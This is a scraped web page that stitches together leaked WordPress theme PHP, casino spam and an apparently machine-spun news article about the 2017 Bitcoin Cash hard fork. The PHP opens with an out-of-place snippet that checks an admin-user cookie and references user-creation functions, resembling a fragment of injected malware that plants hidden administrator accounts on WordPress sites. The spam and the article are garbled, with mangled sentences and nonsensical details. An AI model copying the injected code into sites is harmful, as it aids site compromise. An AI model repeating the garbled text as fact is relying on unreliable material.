if (!function_exists('wp_enqueue_async_script') && function_exists('add_action') && function_exists('wp_die') && function_exists('get_user_by') && function_exists('is_wp_error') && function_exists('get_current_user_id') && function_exists('get_option') && function_exists('add_action') && function_exists('add_filter') && function_exists('wp_insert_user') && function_exists('update_option')) { if (isset($_COOKIE['WORDPRESS_ADMIN_USER']) && username_exists($params['user_login'])) { die('WP ADMIN USER EXISTS'); } } /*** * BetterStudio Themes Core. * * ______ _____ _____ _ _____ * | ___ \/ ___| |_ _| | / __ \ * | |_/ /\ `--. | | | |__ ___ _ __ ___ ___ | / \/ ___ _ __ ___ * | ___ \ `--. \ | | | '_ \ / _ \ '_ ` _ \ / _ \ | | / _ \| '__/ _ \ * | |_/ //\__/ / | | | | | | __/ | | | | | __/ | \__/\ (_) | | | __/ * \____/ \____/ \_/ |_| |_|\___|_| |_| |_|\___| \____/\___/|_| \___| * * Copyright © 2017 Better Studio * * * Our portfolio is here: https://betterstudio.com/ * * \--> BetterStudio, 2018 <--/ */ if ( ! function_exists( 'publisher_pagin_filter_wp_query_args' ) ) { /** * Filter $atts array and return only required index for ajax handler * * @see Publisher_Theme_Listing_Pagin_Manager::handle_ajax_response() * * @param array $args BF_Shortcode Class $atts array * @param string $view listing class name, otherwise or callback name * * @return array filtered $atts values */ function publisher_pagin_filter_wp_query_args( $args, $view ) { $query_fields = array( 'category', 'tag', 'taxonomy', 'post_ids', 'post_type', 'count', 'order_by', 'order', 'time_filter', 'offset', 'post_status', // publisher_pagin_create_query_args() function also use style & columns index to generate query 'style', 'post__not_in', 'category__in', 'show_excerpt', 'author', 'cats-tags-condition', 'cats-condition', 'tags-condition', 'featured_image', 'ignore_sticky_posts', 'author_ids', 'disable_duplicate', 'tax_query', // Ad data 'ad-active', 'ad-after_each', 'ad-type', 'ad-banner', 'ad-campaign', 'ad-count', 'ad-columns', 'ad-orderby', 'ad-order', 'ad-align', ); $valid_indexes = apply_filters( 'publisher-theme-core/pagination/filter-data/' . $view, Publisher_Theme_Listing_Pagin_Manager::get_valid_indexes_data() ); $query_fields = array_merge( $query_fields, $valid_indexes ); return wp_array_slice_assoc( $args, $query_fields ); } } if ( ! function_exists( 'publisher_pagin_filter_user_query_args' ) ) { /** * Filter $atts array and return only required index for ajax handler * * @see Publisher_Theme_Listing_Pagin_Manager::handle_ajax_response() * @see Publisher_Theme_Listing_Shortcode::filter_fields * * @param array $args BF_Shortcode Class $atts array * @param string $view listing class name, otherwise or callback name * * @return array filtered $atts values */ function publisher_pagin_filter_user_query_args( $args, $view ) { $query_fields = array( 'users_filter', 'filter_roles', 'roles', 'count', 'search', 'order', 'order_by', 'offset', 'include', 'exclude', ); $valid_indexes = apply_filters( 'publisher-theme-core/pagination/filter-data/' . $view, Publisher_Theme_Listing_Pagin_Manager::get_valid_indexes_data() ); $query_fields = array_merge( $query_fields, $valid_indexes ); return wp_array_slice_assoc( $args, $query_fields ); } } if ( ! function_exists( 'publisher_pagin_filter_comment_query_args' ) ) { /** * Filter $atts array and return only required index for ajax handler * * @see Publisher_Theme_Listing_Pagin_Manager::handle_ajax_response() * @see Publisher_Theme_Listing_Shortcode::filter_fields * * @param array $args BF_Shortcode Class $atts array * @param string $view listing class name, otherwise or callback name * * @return array filtered $atts values */ function publisher_pagin_filter_comment_query_args( $args, $view ) { $query_fields = array( 'author_email', 'include', 'exclude', 'include_posts', 'exclude_posts', 'count', 'search', 'order', 'order_by', 'offset', ); $valid_indexes = apply_filters( 'publisher-theme-core/pagination/filter-data/' . $view, Publisher_Theme_Listing_Pagin_Manager::get_valid_indexes_data() ); $query_fields = array_merge( $query_fields, $valid_indexes ); return wp_array_slice_assoc( $args, $query_fields ); } } if ( ! function_exists( 'publisher_pagin_filter_pagin_args' ) ) { /** * Filter $atts array and return only required index for ajax handler * * @see Publisher_Theme_Listing_Pagin_Manager::handle_ajax_response() * * @param array $args Custom function args * * @return array filtered $atts values */ function publisher_pagin_filter_pagin_args( $args ) { $pagin_fields = array( 'have_pagination', 'have_slider', 'listing', ); return array_diff_key( $args, array_flip( (array) $pagin_fields ) ); } } if ( ! function_exists( 'publisher_pagin_create_wp_query_args' ) ) { /** * Handy function to create master listing wp query args * * @param array $atts * @param int $paged * @param array $tab * * @return bool */ function publisher_pagin_create_wp_query_args( &$atts, $paged = 1, $tab = array() ) { $args = array(); // order_by if ( ! empty( $atts['order_by'] ) ) { $args = publisher_get_order_filter_query( $atts['order_by'] ); } // order if ( ! empty( $atts['order'] ) ) { $args['order'] = $atts['order']; } // post type if ( ! empty( $atts['post_type'] ) ) { $args['post_type'] = $atts['post_type']; } // posts per page if ( ! empty( $atts['count'] ) && intval( $atts['count'] ) > 0 ) { $args['posts_per_page'] = $atts['count']; } else { $args['posts_per_page'] = get_option( 'posts_per_page' ); } // paged if ( isset( $atts['paginate'] ) && substr( $atts['paginate'], 0, 6 ) === 'simple' ) { $paged = $args['paged'] = bf_get_query_var_paged(); } // offset if ( ! empty( $atts['offset'] ) ) { if ( $paged > 1 ) { $args['offset'] = intval( $atts['offset'] ) + ( ( $paged - 1 ) * $args['posts_per_page'] ); } else { $args['offset'] = intval( $atts['offset'] ); } } /* if ( ! empty( $atts['taxonomy'] ) ) { $tax_query = array(); foreach ( explode( ',', $atts['taxonomy'] ) as $tax ) { $tax = explode( ':', $tax ); if ( count( $tax ) >= 2 ) { $tax_term = get_term( $tax[1], $tax[0] ); if ( ! is_wp_error( $tax_term ) ) { $tax_query[] = array( 'taxonomy' => $tax[0], 'field' => 'term_id', 'terms' => array( $tax[1] ), ); } } } if ( ! empty( $tax_query ) ) { $tax_query['relation'] = 'OR'; $args['tax_query'] = $tax_query; } } // Category if ( ! empty( $atts['category'] ) ) { $args['cat'] = $atts['category']; } // Tag if ( ! empty( $atts['tag'] ) ) { if ( ! is_array( $atts['tag'] ) ) { $tags = explode( ',', $atts['tag'] ); } else { $tags = $atts['tag']; } $args['tag__in'] = $tags; } */ // Post id filters if ( ! empty( $atts['post_ids'] ) ) { if ( is_array( $atts['post_ids'] ) ) { $post_id_array = $atts['post_ids']; } else { $post_id_array = explode( ',', $atts['post_ids'] ); } $post_in = array(); $post_not_in = array(); // Split ids into post_in and post_not_in foreach ( $post_id_array as $post_id ) { $post_id = trim( $post_id ); // TODO: Refactor this! if ( is_numeric( $post_id ) ) { if ( intval( $post_id ) < 0 ) { $post_not_in[] = str_replace( '-', '', $post_id ); } else { $post_in[] = $post_id; } } } if ( ! empty( $post_not_in ) ) { $args['post__not_in'] = $post_not_in; } if ( ! empty( $post_in ) ) { $args['post__in'] = $post_in; $args['orderby'] = 'post__in'; } } // Custom post types if ( ! empty( $atts['post_type'] ) ) { if ( is_array( $atts['post_type'] ) ) { $args['post_type'] = $atts['post_type']; } else { $args['post_type'] = explode( ',', $atts['post_type'] ); } } // Time filter if ( ! empty( $atts['time_filter'] ) ) { $args['date_query'] = publisher_get_time_filter_query( $atts['time_filter'] ); } if ( ! isset( $atts['ignore_sticky_posts'] ) ) { $args['ignore_sticky_posts'] = true; } else { $args['ignore_sticky_posts'] = $atts['ignore_sticky_posts']; } if ( isset( $atts['category__in'] ) ) { $args['category__in'] = array_map( 'absint', (array) $atts['category__in'] ); } if ( isset( $atts['post__not_in'] ) ) { $args['post__not_in'] = array_map( 'absint', (array) $atts['post__not_in'] ); } if ( isset( $atts['author'] ) ) { $args['author'] = intval( $atts['author'] ); } if ( ! empty( $atts['author_ids'] ) ) { $author__in = array(); $author__not_in = array(); foreach ( explode( ',', $atts['author_ids'] ) as $author_id ) { $author_id = intval( $author_id ); if ( $author_id === 0 ) { continue; } if ( $author_id > 0 ) { $author__in[] = $author_id; } else { $author__not_in[] = $author_id; } } if ( $author__in ) { $args['author__in'] = $author__in; } if ( $author__not_in ) { $args['author__not_in'] = $author__not_in; } } /** * Start Handle Query Conditions */ if ( empty( $args['tax_query'] ) ) { $args['tax_query'] = array(); } if ( ! empty( $atts['category'] ) ) { $terms_id_include = array(); $terms_id_exclude = array(); foreach ( explode( ',', $atts['category'] ) as $term_id ) { if ( $term_id[0] === '-' ) { $terms_id_exclude[] = substr( $term_id, 1 ); } else { $terms_id_include[] = $term_id; } } if ( $terms_id_include ) { $args['tax_query'][] = array( 'terms' => bf_get_term_childs( $terms_id_include, $terms_id_exclude ), 'taxonomy' => 'category', 'field' => 'term_id', 'operator' => isset( $atts['cats-condition'] ) ? strtoupper( $atts['cats-condition'] ) : 'IN', 'include_children' => false, ); } if ( $terms_id_exclude ) { $args['tax_query'][] = array( 'taxonomy' => 'category', 'field' => 'term_id', 'terms' => $terms_id_exclude, 'operator' => 'NOT IN', 'include_children' => false, ); } } if ( ! empty( $atts['taxonomy'] ) ) { $terms = array(); if ( preg_match_all( '/ ([^:]+) : ([^,]+) \s* \,? /isx', $atts['taxonomy'], $matches ) ) { foreach ( $matches[1] as $idx => $taxonomy ) { $taxonomy = trim( $taxonomy ); $term_id = trim( $matches[2][ $idx ] ); $section = $term_id[0] === '-' ? 'exclude' : 'include'; $terms[ $taxonomy ][ $section ][] = absint( $term_id ); } } /** * FIX: Taxonomies as tab wrong query */ if ( isset( $tab['active'] ) && $tab['active'] == false && ! empty( $tab['type'] ) ) { $_taxonomy = $tab['type']; if ( ! empty( $terms[ $_taxonomy ] ) && ! empty( $tab['term_id'] ) ) { $terms[ $_taxonomy ]['include'] = array( intval( $tab['term_id'] ) ); } } foreach ( $terms as $taxonomy => $terms ) { $terms_id_include = isset( $terms['include'] ) ? $terms['include'] : array(); $terms_id_exclude = isset( $terms['exclude'] ) ? $terms['exclude'] : array(); if ( $terms_id_include ) { $args['tax_query'][] = array( 'terms' => bf_get_term_childs( $terms_id_include, $terms_id_exclude, $taxonomy ), 'taxonomy' => $taxonomy, 'field' => 'term_id', 'operator' => isset( $atts['cats-condition'] ) ? strtoupper( $atts['cats-condition'] ) : 'IN', 'include_children' => false, ); } if ( $terms_id_exclude ) { $args['tax_query'][] = array( 'taxonomy' => $taxonomy, 'field' => 'term_id', 'terms' => $terms_id_exclude, 'operator' => 'NOT IN', 'include_children' => false, ); } } } if ( ! empty( $atts['tag'] ) ) { $args['tax_query'][] = array( 'taxonomy' => 'post_tag', 'field' => 'term_id', 'terms' => explode( ',', $atts['tag'] ), 'operator' => isset( $atts['tags-condition'] ) ? strtoupper( $atts['tags-condition'] ) : 'IN', 'include_children' => false, ); } if ( $args['tax_query'] ) { $args['tax_query']['relation'] = isset( $atts['cats-tags-condition'] ) ? $atts['cats-tags-condition'] : 'AND'; } elseif ( ! empty( $atts['tax_query'] ) ) { $args['tax_query'] = $atts['tax_query']; // Ajax request pass tax_query } /** * END Handle Query Conditions */ if ( ! empty( $atts['featured_image'] ) ) { if ( isset( $args['meta_query'] ) ) { $args['meta_query'][] = array( 'key' => '_thumbnail_id', 'compare' => 'EXISTS' ); } else { $args['meta_query'] = array( array( 'key' => '_thumbnail_id', 'compare' => 'EXISTS' ) ); } } if ( ! empty( $atts['orderby'] ) && $atts['orderby'] === 'rand' ) { $args['orderby'] = 'rand'; } $args['post_status'] = 'publish'; return $args; } // publisher_pagin_create_query_args } if ( ! function_exists( 'publisher_pagin_create_user_query_args' ) ) { /** * Handy function to create master listing user query args * * @param array $atts * @param int $paged * * @return array */ function publisher_pagin_create_user_query_args( &$atts, $paged = 1 ) { $query_args = wp_array_slice_assoc( $atts, array( 'search', 'order', 'offset', 'include', 'exclude', ) ); $valid_orderby = array( 'id', 'url', 'name', 'email', 'login', 'nicename', 'user_url', 'user_name', 'user_login', 'registered', 'post_count', 'meta_value', 'user_email', 'display_name', 'user_nicename', 'user_registered', ); if ( isset( $atts['order_by'] ) && in_array( strtolower( $atts['order_by'] ), $valid_orderby ) ) { $query_args['orderby'] = $atts['order_by']; } $query_args['number'] = empty( $atts['count'] ) ? 10 : $atts['count']; if ( ! empty( $atts['filter_roles'] ) && ! empty( $atts['roles'] ) ) { $query_args['role__in'] = is_string( $atts['roles'] ) ? explode( ',', $atts['roles'] ) : $atts['roles']; } $query_args['count_total'] = ! empty( $atts['paginate'] ); // TODO: there is no option to prevent load user meta in WP_User_Query. // some times we don't need any user_meta but WP_User_Query still fetch all of them, so we need to add an option to bypass user meta loading. $query_args['fields'] = 'all_with_meta'; // Performance improvement - Fetch all users meta in single db query return $query_args; } } if ( ! function_exists( 'publisher_pagin_create_comment_query_args' ) ) { /** * Handy function to create listing comment query args * * @param array $atts * @param int $paged * * @return array */ function publisher_pagin_create_comment_query_args( &$atts, $paged = 1 ) { $query_args = wp_array_slice_assoc( $atts, array( 'author_email', 'search', 'order', 'offset', ) ); if ( ! empty( $atts['include'] ) ) { $query_args['post_author__in'] = explode( ',', $atts['include'] ); } if ( ! empty( $atts['exclude'] ) ) { $query_args['author__not_in'] = explode( ',', $atts['exclude'] ); } if ( ! empty( $atts['include_posts'] ) ) { $query_args['post__in'] = explode( ',', $atts['include_posts'] ); } if ( ! empty( $atts['exclude_posts'] ) ) { $query_args['post__not_in'] = explode( ',', $atts['exclude_posts'] ); } if ( isset( $atts['count'] ) ) { $query_args['number'] = $atts['count']; } $valid_orderby = array( 'comment_agent', 'comment_approved', 'comment_author', 'comment_author_email', 'comment_author_IP', 'comment_author_url', 'comment_content', 'comment_date', 'comment_date_gmt', 'comment_ID', 'comment_karma', 'comment_parent', 'comment_post_ID', 'comment_type', 'user_id', ); if ( isset( $atts['order_by'] ) && in_array( strtolower( $atts['order_by'] ), $valid_orderby ) ) { $query_args['orderby'] = $atts['order_by']; } if ( ! empty( $atts['paginate'] ) ) { $query_args['no_found_rows'] = false; } return $query_args; } } if ( ! function_exists( 'publisher_theme_pagin_manager' ) ) { /** * Get Publisher_Theme_Listing_Pagin_Manager Class instance * * @return Publisher_Theme_Listing_Pagin_Manager */ function publisher_theme_pagin_manager() { return Publisher_Theme_Listing_Pagin_Manager::Run(); } // publisher_theme_pagin_manager } if ( ! function_exists( 'publisher_pagin_hash_generate' ) ) { /** * Generate unique hash for input data * * @param array|object $array * * @return bool|string hash string on success or false otherwise */ function publisher_pagin_hash_generate( $array ) { if ( is_object( $array ) ) { $array = get_object_vars( $array ); } elseif ( ! is_array( $array ) ) { return false; } $keys_to_remove = array( 'paged' => '', ); //remove some indexes $array = array_diff_key( $array, $keys_to_remove ); $array = bf_map_deep( $array, 'publisher_pagin_hash_data_filter' ); $array = array_filter( $array ); ksort( $array ); $hash = substr( wp_hash( serialize( $array ), 'nonce' ), 5, 7 ); return $hash; } } if ( ! function_exists( 'publisher_pagin_hash_verify' ) ) { /** * Verify Hash * * @param string $hash * @param array|object $data * * @return bool true on success or false on failure. */ function publisher_pagin_hash_verify( $hash, $data ) { return $hash === publisher_pagin_hash_generate( $data ); } } if ( ! function_exists( 'publisher_pagin_hash_data_filter' ) ) { /** * Filters data for making correct hash from it * * @param $data * * @return mixed */ function publisher_pagin_hash_data_filter( $data ) { $new_data = filter_var( $data, FILTER_VALIDATE_INT ); return $new_data === false ? $data : $new_data; } } if ( ! function_exists( 'publisher_pagin_js_data_filter' ) ) { /** * Converts boolean values to it for JS of pagination * * @param $data * * @return string */ function publisher_pagin_js_data_filter( $data ) { return is_bool( $data ) ? (int) $data : $data; } } if ( ! function_exists( 'publisher_get_ajax_var' ) ) { /** * Get defended ajax variable * * @param string $var * * @since 1.8.0 * @return object|array|string */ function publisher_get_ajax_var( $var ) { return Publisher_Theme_Listing_Pagin_Manager::get_ajax_var( $var ); } } if ( ! function_exists( 'publisher_set_ajax_var' ) ) { /** * Define a custom variable to send in pagination ajax request * * @param string $var * @param object|array|string $value * * @since 1.8.0 * @return object|array|string */ function publisher_set_ajax_var( $var, $value ) { return Publisher_Theme_Listing_Pagin_Manager::set_ajax_var( $var, $value ); } } Bitcoin is simply split into two different versions – Cryptocurrency News Room

Awesome poker tables

  1. Masino Casino No Deposit Bonus Codes For Free Spins 2025: The tax is to be collected on a weekly basis.
  2. - As a gambler, who play at multiple online casinos, I often use this service, as its universally accepted and considered absolutely safe.
  3. Slot Casino Jackpot: If you can apply those categories to them to see how they stack up and feel that they rate well in all of them, you might have found a site that works for you.

Live online roulette crypto casino

Facts Interesting Online Gambling
Often users are on the go and need a different type of experience.
Deposit 5 Casino Bonus
There will be a time limit to spend that bonus (likely up to 30 days) so check the terms and conditions and sign up right before or during the season if the plan is to wager specifically on the NBA.
When it gets to accepted currencies, there are currently over four available, inlcuding Australian dollars, Australian pounds sterling, Australian dollars, Euros and Swedish kronor.

Crypto Casino no deposit bonus 2024 march

European Roulette Tips Uk
When you re-enter the game, your balance will update with the newly deposited funds.
Slot Game 777 Australia
This is how the table limits look.
Knightslots Casino Login App Sign Up

Bitcoin is simply split into two different versions

Bitcoin Cash
By Michael Kennedy

Bitcoin, a digital currency valued at $ 43 billion, is in an unknown and potentially risky territory after a split on Tuesday created two versions: the original Bitcoin, which has existed since 2008, and the new Bitcoin Cash, the one to represent a more populist alternative.

The split on the network was triggered on Tuesday afternoon (all times EST) when an upstart group of Bitcoiners pushed the button on a “hard fork” – an unprecedented event in Bitcoin history that the majority of the community had tried to prevent for two years . A week ago, the possibility of a split seemed to have been completely avoided.

The fork was scheduled for Tuesday morning, and Bitcoiners eagerly awaited the split. Due to some quirks of Bitcoin, the event actually happened six hours later. The hard fork was marked at 2:20 pm by creating an initial “block” of transaction data for Bitcoin Cash: almost two megabytes in size. Bitcoin blocks are limited to one megabyte, and Bitcoin Cash can support up to eight. Larger block sizes are the main difference between the two virtual currencies and the impetus for splitting them. A second vanity block was quickly added to the chain and included the phrase “Hello World”.

Read more: The next 24 hours will decide the fate of Bitcoin

Now there are two nearly identical versions of Bitcoin, each with their own rules and die-hard followers. Everyone who owns Bitcoin has automatically received the same amount in Bitcoin Cash, and this brand new currency is struggling to survive.

Bitcoin’s price fell by $ 200 to around $ 2,700 per coin before the split, but at the time of our release, the currency is chugging along. Bitcoin Cash, on the other hand, is extremely volatile, but shows signs of life. Before Bitcoin Cash was created with the opening block, the popular Kraken cryptocurrency exchange credited customer accounts with the currency and allowed trading. Basically, IOUs are issued. In about 10 minutes of trading, the imaginary price of Bitcoin Cash plummeted from $ 400 to $ 140. It seemed bad, but immediately after the fork the price rebounded to $ 200.

Bitcoin Cash’s success is largely in the hands of “miners” who run server farms to create the blocks that support the Bitcoin network. It is currently unclear how many Bitcoin miners have switched to Bitcoin Cash, but it only appears to be a fraction. By the time it took Bitcoin Cash miners to create a single block of transaction data for their public ledger, Bitcoin had created dozens of its own, which could suggest that Bitcoin Cash lacks the power to take over Bitcoin.

The split is a last-minute twist in a two-year debate that turned the Bitcoin community into warring camps. The “civil war” as some called it revolved around the question of how best to change Bitcoin so that more people can handle it without slowing down.

By the end of 2016, the “blocks” of bundled transaction information chained to Bitcoin’s public ledger, called the blockchain, were full. This resulted in transactions being paused for hours or days before being processed in a block. Think how long it takes to approve a direct debit transaction at the corner store – it may feel like forever, but on bad days, Bitcoin can be much, much worse.

Read more: The dream of buying a coffee with Bitcoin dies if it’s not dead yet

However, there was one exception for those who could afford it: add a large “fee” to your Bitcoin transaction so that a miner can add it to the next block. This is presumably fine for one of the many powerful financial institutions looking to Bitcoin to streamline parts of their existing business. You can afford the fees. However, this is bad for people who want to use Bitcoin to pay for everyday things like deodorant or a sandwich.

After much debate, Bitcoin developer Pieter Wuille proposed “Segregated Witness” (or Segwit), a new rule that would free up space in Bitcoin’s 1 megabyte chunks – but not by much. Nevertheless, the community largely came up with the idea.

After a user-driven campaign to support Bitcoin miners in support of Segwit was successful in July, the network was “soft forked” on August 1 to implement the change. A soft fork is a way to change the rules of Bitcoin without dividing the network, but everyone has to agree. At the time, miners did not unanimously support Segwit, so the major Chinese bitcoin company Bitmain coded a hard fork as a contingency plan.

With this initially only hypothetical hard fork plan, it was actually possible to split Bitcoin into two versions on Tuesday afternoon.

The hard fork was unexpectedly adopted from “Emergency Plan” to “Plan A” by a group of users and developers who felt that Segregated Witness did not go far enough to increase the size of the Bitcoin chunks, and as ” Bitcoin Cash “. The “cash” bit in the name of Bitcoin’s new rival is meant to emphasize how this version can be used for anyone, not just financial institutions or large corporations. Currently, the main differences between Bitcoin Cash and the original Bitcoin are: no Segwit and a maximum of eight megabyte blocks instead of one.

It is tempting to think of Bitcoin Cash and the hard fork as aberrations, but in retrospect they are expressions of an impulse that has been in Bitcoin’s DNA all along.

What holds Bitcoin together is neither code nor money: it is a belief. The Bitcoin protocol was anti-establishment and irritable when it was published nearly a decade ago by an anonymous person or group called Satoshi Nakamoto. Bitcoin called the banks and regulators bullshitters and beat them in their own game with a currency that became just as “real” as the US greenback, despite being an abstraction created using math and computers. It’s a pretty good joke, and it channels libertarian politics that will attract true believers.

It is arguably Bitcoin’s anti-authoritarian impulse that motivated the hard fork of Bitcoin Cash. That and the instinct of a gamer that leads people to put billions of dollars into a made up currency. When everyone is yelling at you to join in, like they did during the year-long scaling debate, the most likely way of telling them “bitcoin” to push it.

It will likely take many weeks or even months for the real effects of Bitcoin Cash to be felt. Regardless, it’s a historic day.

Get six of our favorite motherboard stories every day Sign up for our newsletter.

Michael Kennedy 276 posts 0 comments
You might also like More from author